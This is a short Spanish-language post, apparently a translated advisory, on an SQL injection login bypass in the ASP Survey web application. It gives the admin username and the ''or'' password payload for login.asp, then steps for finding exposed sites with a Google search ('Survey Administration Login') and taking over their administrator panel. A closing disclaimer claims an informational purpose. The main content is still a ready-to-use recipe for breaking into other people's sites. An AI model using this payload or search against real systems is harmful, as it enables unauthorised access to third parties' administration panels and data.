Inyeccion SQL en ASP Survey
Software Afectado: ASP Survey
Texto de introduccion :
Hola chicos
Esta es una simple inyeccion sql en la aplicacion web (ASP Survey) con esta vulnerabilidad. Deberemos ir a la pagina de administración
Direccion del objetivo : login.asp
Fabricante : ASP Survey
Exploit :
User: admin
Password: 'or'
Hackeando:
1. Buscar en google.com como :
Buscar en la web:"Survey Administration Login"
y escriba el exploit en el orden correcto...
y ya tenemos el Panel de Control de administardor.
-------------------------------------------------
Esto es una traduccion de mfoxhacker que pueden ver en su version original en http://securityreason.com/securityalert/414
Con este texto no se pretende promover el delito sino informar sobre una falla para que tratemos de evitar posibles daños en los stios que creamos
